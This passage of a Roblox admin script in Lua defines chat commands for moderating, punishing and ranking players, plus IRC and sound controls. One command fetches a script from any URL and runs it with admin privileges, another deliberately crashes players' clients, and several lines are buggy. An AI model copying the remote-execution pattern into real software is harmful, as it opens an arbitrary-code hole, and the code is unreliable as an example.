5725 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5726 IRC:Quit("Reconnecting")
5727 IRC:ConnectToServer(Settings.IRCServer)
5728 end};
5729
5730 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5731 local Players = STRING:Scan(Arguments[1], Speaker)
5732 for _,Player in pairs(Players) do
5733 local PreAdd = {}
5734 for _,Data in pairs(IRC.Chats) do
5735 local Error = nil
5736 if Rank == "Owner" then Error = Data[3] end
5737 table.insert(PreAdd, {Data[1], Data[2], Error})
5738 end
5739 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5740 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5741 if Rank ~= "Owner" then Error = nil end
5742 AddMessage:Invoke(UserName, Message, Error)
5743 end)
5744 SendPressed.Event:connect(function(Text)
5745 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5746 IRC:AddChat(Player.Name, Text)
5747 end)
5748 end
5749 end};
5750
5751 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5752 local Players = STRING:Scan(Arguments[1], Speaker)
5753 for _,Player in pairs(Players) do
5754 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5755 if Type == "Leave" then
5756 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5757 elseif Type == "Join" then
5758 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5759 end
5760 end)
5761 PriChat.Chatted.Event:connect(function(UserName, Message)
5762 AddMessage:Invoke(UserName, Message)
5763 end)
5764 SendPressed.Event:connect(function(Text)
5765 PriChat.Chatted:Fire(Player.Name, Text)
5766 table.insert(PriChat.Chats, {Player.Name, Text})
5767 end)
5768 end
5769 end};
5770
5771 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5772 ExecuteSafe(Arguments[1], Speaker)
5773 end};
5774
5775 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5776 local Script = REMOTE:GetURL(Arguments[1], Player)
5777 if Script then
5778 ExecuteSafe(Script, Speaker)
5779 end
5780 end, Http = true};
5781
5782 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5783 local Time = tick()
5784 local Res = REMOTE:GetURL(Arguments[1], Player)
5785 if Res then
5786 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5787 end
5788 end, Http = true};
5789
5790 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5791 CORE:RemoveAdmin(Speaker)
5792 end};
5793
5794 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5795 for _,Player in pairs(Server.Players:GetPlayers()) do
5796 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5797 end
5798 end};
5799
5800 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5801 local Players = STRING:Scan(Arguments[1], Speaker)
5802 local Debt = nil
5803 for _,Player in pairs(Players) do
5804 if not Debt then
5805 Debt = GUI:ShowDebtStats(Player)
5806 else
5807 GUI:ShowDebtStats(Player, Debt)
5808 end
5809 end
5810 end, Http = true};
5811
5812 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5813 local Players = STRING:Scan(Arguments[1], Speaker)
5814 for _,Player in pairs(Players) do
5815 GUI:CreateHUD(Player)
5816 end
5817 end};
5818
5819 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5820 local Players = STRING:Scan(Arguments[1], Speaker)
5821 for _,Player in pairs(Players) do
5822 if Player:FindFirstChild("PlayerGui") then
5823 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5824 if HUD then HUD:Destroy() end
5825 end
5826 end
5827 end};
5828
5829 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5830 local Players = STRING:Scan(Arguments[1], Speaker)
5831 GUI:Vote(Speaker, Players, Arguments[2], 30)
5832 end};
5833
5834 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5835 local Players = STRING:Scan(Arguments[1], Speaker)
5836 for _,Player in pairs(Players) do
5837 CORE:ExecuteResource("Bomb", Player.Character)
5838 end
5839 end};
5840
5841 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5842 local Players = STRING:Scan(Arguments[1], Speaker)
5843 for _,Player in pairs(Players) do
5844 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5845 CORE:RestoreCamera(Player)
5846 end
5847 end};
5848
5849 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5850 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5851 CORE:RestoreCamera(Speaker)
5852 end};
5853
5854 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5855 local Players1 = STRING:Scan(Arguments[1], Speaker)
5856 local Players2 = STRING:Scan(Arguments[2], Speaker)
5857 for _,Player1 in pairs(Players1) do
5858 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5859 for _,Player2 in pairs(Players2) do
5860 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5861 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5862 end
5863 end
5864 end
5865 end
5866 end};
5867
5868 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5869 local Players = STRING:Scan(Arguments[1], Speaker)
5870 for _,Player in pairs(Players) do
5871 Player:LoadCharacter()
5872 end
5873 end};
5874
5875 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5876 local Players = STRING:Scan(Arguments[1], Speaker)
5877 for _,Player in pairs(Players) do
5878 CORE:RestoreCamera(Player)
5879 end
5880 end};
5881
5882 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5883 local Players = STRING:Scan(Arguments[1], Speaker)
5884 for _,Player in pairs(Players) do
5885 CORE:Jail(Player)
5886 end
5887 end};
5888
5889 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5890 local Players = STRING:Scan(Arguments[1], Speaker)
5891 for _,Player in pairs(Players) do
5892 CORE:UnJail(Player)
5893 end
5894 end};
5895
5896 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5897 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5898 end};
5899
5900 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5901 SOUND:StopSpeaking()
5902 end};
5903
5904 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5905 local Players = STRING:Scan(Arguments[1], Speaker)
5906 local Compile = {}
5907 for Num,Player in pairs(Players) do
5908 local PlayerRank = RANK:GetRank(Player)
5909 local PlayerInfo = ClientInfo[Player.Name]
5910 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5911 table.insert(Compile, "User ID: "..Player.UserId)
5912 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5913 table.insert(Compile, "Rank: "..PlayerRank)
5914
5915 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5916 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5917 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5918 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5919 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5920 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5921 if PlayerInfo.Benchmark then
5922 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5923 end
5924 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5925 end
5926 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5927 end};
5928
5929 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5930 if tonumber(Arguments[2]) then
5931 local Players = STRING:Scan(Arguments[1], Speaker)
5932 for _,Player in pairs(Players) do
5933 coroutine.wrap(function()
5934 if Player.Character then
5935 table.insert(LoopKills, Player.Name)
5936 local Loop = nil
5937 local PrevChar = nil
5938
5939 for i = 1,tonumber(Arguments[2]) do
5940 local Char = Player.Character
5941 if PrevChar and PrevChar ~= Char then
5942 PrevChar:Destroy()
5943 end
5944 PrevChar = Char
5945 local CanDie = true
5946 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5947 if CanDie == false then
5948 break
5949 end
5950 ypcall(function() Char.Parent = Server.Lighting end)
5951 wait(0.1)
5952 ypcall(function() Char.Parent = Server.Workspace end)
5953 wait(0.1)
5954 end
5955 end
5956 end)()
5957 end
5958 else
5959 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5960 end
5961 end};
5962
5963 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5964 local Players = STRING:Scan(Arguments[1], Speaker)
5965 for _,Player in pairs(Players) do
5966 for Num,Name in pairs(LoopKills) do
5967 if Player.Name == Name then
5968 table.remove(LoopKills, Num)
5969 end
5970 end
5971 end
5972 end};
5973
5974 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5975 SOUND:PlayGlobalSound(Arguments[1])
5976 end};
5977
5978 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5979 SOUND:StopGlobalSound()
5980 SOUND:ClearInfo()
5981 end};
5982
5983 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5984 local Pitch = tonumber(Arguments[1])
5985 if not Pitch then Pitch = 1 end
5986 if Sound then
5987 Sound.Pitch = Pitch
5988 end
5989 end};
5990
5991 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5992 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5993 local Items = MARKET:SearchItem(9, Arguments[1])
5994 if Items then
5995 if #Items ~= 0 then
5996 local List,Correlate = {},{}
5997 for Num,Info in pairs(Items) do
5998 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5999 table.insert(List, Display)
6000 Correlate[Display] = Info.AssetId
6001 end
6002 CloseGui:Invoke()
6003
6004 local CanClick = true
6005 if Rank == "Member" then CanClick = false end
6006 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6007 Clicked.Event:connect(function(ClickName)
6008 local OldSoundId = nil
6009 SOUND:StopGlobalSound()
6010 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6011 SOUND:PlayGlobalSound(Correlate[ClickName])
6012 end
6013 end)
6014 else
6015 CloseGui:Invoke()
6016 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6017 end
6018 else
6019 CloseGui:Invoke()
6020 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6021 end
6022 end, Http = true};
6023
6024 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6025 local Players = STRING:Scan(Arguments[1], Speaker)
6026 for _,Player in pairs(Players) do
6027 if Player.Character then
6028 CORE:ExecuteResource("Gun", Player.Character)
6029 end
6030 end
6031 end};
6032
6033 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6034 local Players = STRING:Scan(Arguments[1], Speaker)
6035 for _,Player in pairs(Players) do
6036 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6037 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6038 Player.Character.Humanoid.WalkSpeed = 0
6039 Player.Character.Torso.Anchored = true
6040 coroutine.wrap(function()
6041 local OldCFrame = Player.Character.Torso.CFrame
6042 for i = 0,8,0.1 do
6043 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6044 wait()
6045 end
6046 Player.Character.Torso.Anchored = false
6047 Player.Character:BreakJoints()
6048 CORE:InvisiblePlayer(Player)
6049 end)()
6050 end
6051 end
6052 end};
6053
6054 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6055 local Players = STRING:Scan(Arguments[1], Speaker)
6056 for _,Player in pairs(Players) do
6057 CORE:AnchorPlayer(Player)
6058 end
6059 end};
6060
6061 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6062 local Players = STRING:Scan(Arguments[1], Speaker)
6063 for _,Player in pairs(Players) do
6064 CORE:UnanchorPlayer(Player)
6065 end
6066 end};
6067
6068 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6069 local Players = STRING:Scan(Arguments[1], Speaker)
6070 for _,Player in pairs(Players) do
6071 CORE:InvisiblePlayer(Player)
6072 end
6073 end};
6074
6075 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6076 local Players = STRING:Scan(Arguments[1], Speaker)
6077 for _,Player in pairs(Players) do
6078 CORE:VisiblePlayer(Player)
6079 end
6080 end};
6081
6082 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6083 local Players = STRING:Scan(Arguments[1], Speaker)
6084 for _,Player in pairs(Players) do
6085 if Player.Character and Player.Character:FindFirstChild("Torso") then
6086 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6087 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6088 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6089 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6090 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6091 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6092 Fly:Play()
6093 local Touched = false
6094 coroutine.wrap(function()
6095 repeat wait(0.1)
6096 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6097 until not Ast or Ast.Parent == nil or Touched == true
6098 end)()
6099 Ast.Touched:connect(function(Part)
6100 if Touched == false then
6101 Touched = true
6102 Part:BreakJoints()
6103 local Boom = Instance.new("Explosion", Workspace)
6104 Boom.Position = Ast.Position
6105 Boom.BlastPressure = 1000000
6106 Boom.BlastRadius = 30
6107 Fire.Heat = 0
6108 Smoke.RiseVelocity = 0
6109 Fly:Stop()
6110 BoomSound:Play()
6111 coroutine.wrap(function()
6112 wait(3)
6113 BoomSound:Stop()
6114 if Ast and Ast.Parent ~= nil then
6115 Ast:Destroy()
6116 end
6117 end)()
6118 end
6119 end)
6120 end
6121 end
6122 end};
6123
6124 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6125 local Success = {}
6126 local Players = STRING:Scan(Arguments[1], Speaker)
6127 for _,Player in pairs(Players) do
6128 local PlayerRank = RANK:GetRank(Player)
6129 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6130 CORE:Kick(Player)
6131 table.insert(Success, Player)
6132 end
6133 end
6134 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6135 end};
6136
6137 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6138 local Success = {}
6139 local Players = STRING:Scan(Arguments[1], Speaker)
6140 for _,Player in pairs(Players) do
6141 local PlayerRank = RANK:GetRank(Player)
6142 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6143 RANK:RemoveRank(Player)
6144 table.insert(Settings.Ranks.Banned, Player.Name)
6145 CORE:Kick(Player)
6146 table.insert(Success, Player)
6147 end
6148 end
6149 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6150 end};
6151
6152 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6153 local Success = {}
6154 local Players = STRING:Scan(Arguments[1], Speaker)
6155 for _,Player in pairs(Players) do
6156 local PlayerRank = RANK:GetRank(Player)
6157 if PlayerRank ~= "Owner" then
6158 RANK:RemoveRank(Player)
6159 table.insert(Settings.Ranks.Crashed, Player.Name)
6160 CORE:Crash(Player)
6161 table.insert(Success, Player)
6162 end
6163 end
6164 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6165 end};
6166
6167 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6168 local Success = {}
6169 local Players = STRING:Scan(Arguments[1], Speaker)
6170 for _,Player in pairs(Players) do
6171 local PlayerRank = RANK:GetRank(Player)
6172 if PlayerRank ~= "Owner" then
6173 RANK:RemoveRank(Player)
6174 table.insert(Settings.Ranks.Muted, Player.Name)
6175 GUI:CoreGui(Player, "Chat", false)
6176 table.insert(Success, Player)
6177 end
6178 end
6179 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6180 end};
6181
6182 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6183 local Players = STRING:Scan(Arguments[1], Speaker)
6184 if #Players > 0 then
6185 local Success = {}
6186 for _,Player in pairs(Players) do
6187 local RankName,RankNum = RANK:GetRank(Player)
6188 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6189 if not RANK:IsSupremeOwner(Player) then
6190 if RankName == "Muted" then
6191 GUI:CoreGui(Player, "Chat", true)
6192 end
6193 if RankNum > 0 then
6194 GUI:TellNotAdmin(Player)
6195 end
6196 RANK:RemoveRank(Player)
6197 table.insert(Success, Player)
6198 end
6199 end
6200 end
6201 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6202 else
6203 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6204 if Player then
6205 local RankNum = RANK:ConvertRank(PlayerRank)
6206 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6207 if not RANK:IsSupremeOwner(Player) then
6208 RANK:RemoveRank(Player)
6209 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6210 end
6211 end
6212 end
6213 end
6214 end};
6215
6216 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6217 local Players = STRING:Scan(Arguments[1], Speaker)
6218 if #Players > 0 then
6219 local Success = {}
6220 for _,Player in pairs(Players) do
6221 local PlayerRank,RankNum = RANK:GetRank(Player)
6222 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6223 RANK:RemoveRank(Player)
6224 table.insert(Settings.Ranks.Member, Player.Name)
6225 GUI:TellAdmin(Player)
6226 table.insert(Success, Player)
6227 end
6228 end
6229 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6230 else
6231 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6232 if Player then
6233 local RankNum = RANK:ConvertRank(PlayerRank)
6234 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6235 if not RANK:IsSupremeOwner(Player) then
6236 RANK:RemoveRank(Player)
6237 table.insert(Settings.Ranks.Member, Player)
6238 end
6239 end
6240 else
6241 RANK:RemoveRank(Arguments[1])
6242 table.insert(Settings.Ranks.Member, Arguments[1])
6243 end
6244 end
6245 end};
6246
6247 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6248 local Players = STRING:Scan(Arguments[1], Speaker)
6249 if #Players > 0 then
6250 local Success = {}
6251 for _,Player in pairs(Players) do
6252 local PlayerRank,RankNum = RANK:GetRank(Player)
6253 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6254 RANK:RemoveRank(Player)
6255 table.insert(Settings.Ranks.Admin, Player.Name)
6256 GUI:TellAdmin(Player)
6257 table.insert(Success, Player)
6258 end
6259 end
6260 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6261 else
6262 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6263 if Player then
6264 local RankNum = RANK:ConvertRank(PlayerRank)
6265 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6266 if not RANK:IsSupremeOwner(Player) then
6267 RANK:RemoveRank(Player)
6268 table.insert(Settings.Ranks.Admin, Player)
6269 end
6270 end
6271 else
6272 RANK:RemoveRank(Arguments[1])
6273 table.insert(Settings.Ranks.Admin, Arguments[1])
6274 end
6275 end
6276 end};
6277
6278 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6279 local Players = STRING:Scan(Arguments[1], Speaker)
6280 if RANK:IsSupremeOwner(Speaker) then
6281 if #Players > 0 then
6282 local Success = {}
6283 for _,Player in pairs(Players) do
6284 if not RANK:IsSupremeOwner(Player) then
6285 RANK:RemoveRank(Player)
6286 table.insert(Settings.Ranks.Owner, Player.Name)
6287 GUI:TellAdmin(Player)
6288 table.insert(Success, Player)
6289 end
6290 end
6291 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6292 else
6293 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6294 if Player then
6295 local RankNum = RANK:ConvertRank(PlayerRank)
6296 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6297 if not RANK:IsSupremeOwner(Player) then
6298 RANK:RemoveRank(Player)
6299 table.insert(Settings.Ranks.Owner, Player)
6300 end
6301 end
6302 else
6303 RANK:RemoveRank(Arguments[1])
6304 table.insert(Settings.Ranks.Owner, Arguments[1])
6305 end
6306 end
6307 end
6308 end};
6309
6310 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6311 local TableStorage = {}
6312 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6313 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6314 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6315 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6316 end};
6317
6318 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6319 local TableStorage = {}
6320 for _,Player in pairs(Server.Players:GetChildren()) do
6321 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6322 if ValidAdmin then
6323 if PlayerRank == "Owner" then
6324 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6325 else
6326 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6327 end
6328 end
6329 end
6330 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6331 end};
6332
6333 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6334 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6335 end};
6336
6337 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6338 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6339 end};
6340
6341 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6342 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6343 end};
6344
6345 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6346 local TableStorage = {}
6347 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6348 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6349 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6350 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6351 end};
6352
6353 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6354 local TableStorage = {}
6355 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6356 for Num,PlayerName in pairs(PlayerNames) do
6357 if PlayerRank == "Owner" then
6358 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6359 else
6360 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6361 end
6362 end
6363 end
6364 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6365 end};
6366
6367 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6368 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6369 end};
6370
6371 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6372 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6373 end};
6374
6375 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6376 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6377 end};
6378
6379 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6380 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6381 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6382 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6383 end};
6384
